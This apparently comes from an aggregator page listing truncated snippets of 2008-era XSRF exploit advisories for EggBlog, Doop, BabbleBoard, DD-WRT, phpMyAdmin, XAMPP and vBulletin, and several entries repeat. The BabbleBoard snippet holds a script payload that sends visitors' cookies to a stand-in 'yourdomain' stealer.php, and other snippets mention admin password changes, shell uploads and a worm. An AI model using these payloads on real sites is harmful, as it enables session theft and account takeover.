EggBlog 3.1.10 XSRF Vulnerability

| | | Project: EggBlog v 3.1.10 | | Author: x0r | | Email: andry2000athotmaildotit | || Code: x0r :P document.forumform.submit With this csrf you can change the admin pass ^ ^...

Doop 1.4.0b XSRF / Shell Upload

-------------------------------------------------------------------------- | Project: Doop document.admin.submit ---------------------------------------------------------------------- -- Upload Shell -- Ok. Una volta nel pannello di amministrazione possiamo uppare qualsiasi file non controlla...

TYPO3 Security Bulletin

It has been discovered that the extension phpMyAdmin phpmyadmin is vulnerable to SQL injections via XSRF. Component Type: Third party extension. This extension is not a part of the TYPO3 default installation. Affected Versions: Version 4.1.1 and all versions below Vulnerability Type: SQL injectio...

BabbleBoard 1.1.6 XSRF

BabbleBoard v1.1.6 Cookie Grabber Exploit/CSRF + Discovered By SirGod + Greetz : All my friends + Cookie Grabber Exploit - Steal the cookie of any visitor. 1.Register as : document.location ="http://yourdomain/path/stealer.php?cookie=" + document.cookie; Everyone who visit the index page will be...

Multiple XSRF in DD-WRT (Remote Root Command Execution)

Author: Michael Brooks !!!! I usually don't like posting my leet exploits to bugtraq because it is so unprofessional. You guys usually malform my exploits so they are totally useless, even to someone trying to write a patch! You also tend to get the wrong name! Michael Brooks wrote this! Exploits...

phpMyAdmin 3.1.0 XSRF / SQL Injection

Written by Michael Brooks Special Thanks to str0ke and rGod Intro: phpMyAdmin is by far the most popular PHP project. Between phpmyadmin and the xampp project there are more than 34+ million downloads from sourceforge.net . This exploit was released along side XSRF attacks against XAMPP and Simpl...

SQL injection through XSRF on several pages

PMASA-2008-10 Announcement-ID: PMASA-2008-10 Date: 2008-12-09 Summary SQL injection through XSRF on several pages Description A logged-in user can be subject of SQL injection through cross site request forgery. Several pages which use affected library in phpMyAdmin are vulnerable and the attack c...

DD-WRT v24-sp1 (XSRF) Cross Site Reference Forgery Exploit

No description provided by source. Remote root dd-wrt -------------------------------------------------------------------------------- Written by Michael Brooks Special thanks to str0ke Exploits tested on the newist stable version: Firmware: DD-WRT v24-sp1 07/27/08 micro Product Homepage:...

XAMPP 1.6.8 (XSRF) Change Administrative Password Exploit

No description provided by source. XAMPP change administrative password: -------------------------------------------------------------------------------- Written by Michael Brooks special thanks to str0ke Affects XAMPP 1.6.8. homepage: http://www.apachefriends.org/ XAMPP has 17+ million downloads...

phpMyAdmin 3.1.0 (XSRF) SQL Injection Vulnerability

No description provided by source. Written by Michael Brooks Special Thanks to str0ke and rGod Intro: phpMyAdmin is by far the most popular PHP project. Between phpmyadmin and the xampp project there are more than 34+ million downloads from sourceforge.net . This exploit was released along side...

phpMyAdmin 3.1.0 (XSRF) SQL Injection Vulnerability-vulnerability warning-the black bar safety net

Written by Michael Brooks Special Thanks to str0ke and rGod Intr phpMyAdmin is by far the most popular PHP project. Between phpmyadmin and the xampp project there are more than 3 4+ million downloads from sourceforge.net . This exploit was released along side XSRF attacks against XAMPP and Simple...

XAMPP 1.6.8 - Cross-Site Request Forgery (Change Administrative Password)

XAMPP 1.6.8 - Cross-Site Request Forgery Change Administrative Password XAMPP change administrative password: -------------------------------------------------------------------------------- Written by Michael Brooks special thanks to str0ke Affects XAMPP 1.6.8. homepage:...

phpMyAdmin 3.1.0 - Cross-Site Request Forgery SQL Injection

phpMyAdmin 3.1.0 - Cross-Site Request Forgery SQL Injection Written by Michael Brooks Special Thanks to str0ke and rGod Intro: phpMyAdmin is by far the most popular PHP project. Between phpmyadmin and the xampp project there are more than 34+ million downloads from sourceforge.net . This exploit...

XAMPP 1.6.8 (XSRF) Change Administrative Password Exploit

Exploit for unknown platform in category remote exploits ========================================================= XAMPP 1.6.8 XSRF Change Administrative Password Exploit ========================================================= XAMPP change administrative password:...

XAMPP 1.6.8 - Cross-Site Request Forgery (Change Administrative Password)

XAMPP change administrative password: -------------------------------------------------------------------------------- Written by Michael Brooks special thanks to str0ke Affects XAMPP 1.6.8. homepage: http://www.apachefriends.org/ XAMPP has 17+ million downloads from sourceforge.net...

phpMyAdmin 3.1.0 - Cross-Site Request Forgery / SQL Injection

Written by Michael Brooks Special Thanks to str0ke and rGod Intro: phpMyAdmin is by far the most popular PHP project. Between phpmyadmin and the xampp project there are more than 34+ million downloads from sourceforge.net . This exploit was released along side XSRF attacks against XAMPP and Simpl...

phpMyAdmin 3.1.0 (XSRF) SQL Injection Vulnerability

Exploit for unknown platform in category web applications =================================================== phpMyAdmin 3.1.0 XSRF SQL Injection Vulnerability =================================================== Written by Michael Brooks Intro: phpMyAdmin is by far the most popular PHP project...

XAMPP 1.6.8 Password Exploit

XAMPP change administrative password: -------------------------------------------------------------------------------- Written by Michael Brooks special thanks to str0ke Affects XAMPP 1.6.8. homepage: http://www.apachefriends.org/ XAMPP has 17+ million downloads from sourceforge.net...

vBulletin 3.7.3 Visitor Message XSS/XSRF + worm Exploit

No description provided by source. / ----------------------------- Author = Mx Title = vBulletin 3.7.3 Visitor Messages XSS/XSRF + worm Software = vBulletin Addon = Visitor Messages Version = 3.7.3 Attack = XSS/XSRF - Description = A critical vulnerability exists in the new vBulletin 3.7.3 softwa...

vBulletin 3.7.3 Visitor Messages XSS/XSRF + worm

/ ----------------------------- Author = Mx Title = vBulletin 3.7.3 Visitor Messages XSS/XSRF + worm Software = vBulletin Addon = Visitor Messages Version = 3.7.3 Attack = XSS/XSRF - Description = A critical vulnerability exists in the new vBulletin 3.7.3 software which comes included + with the...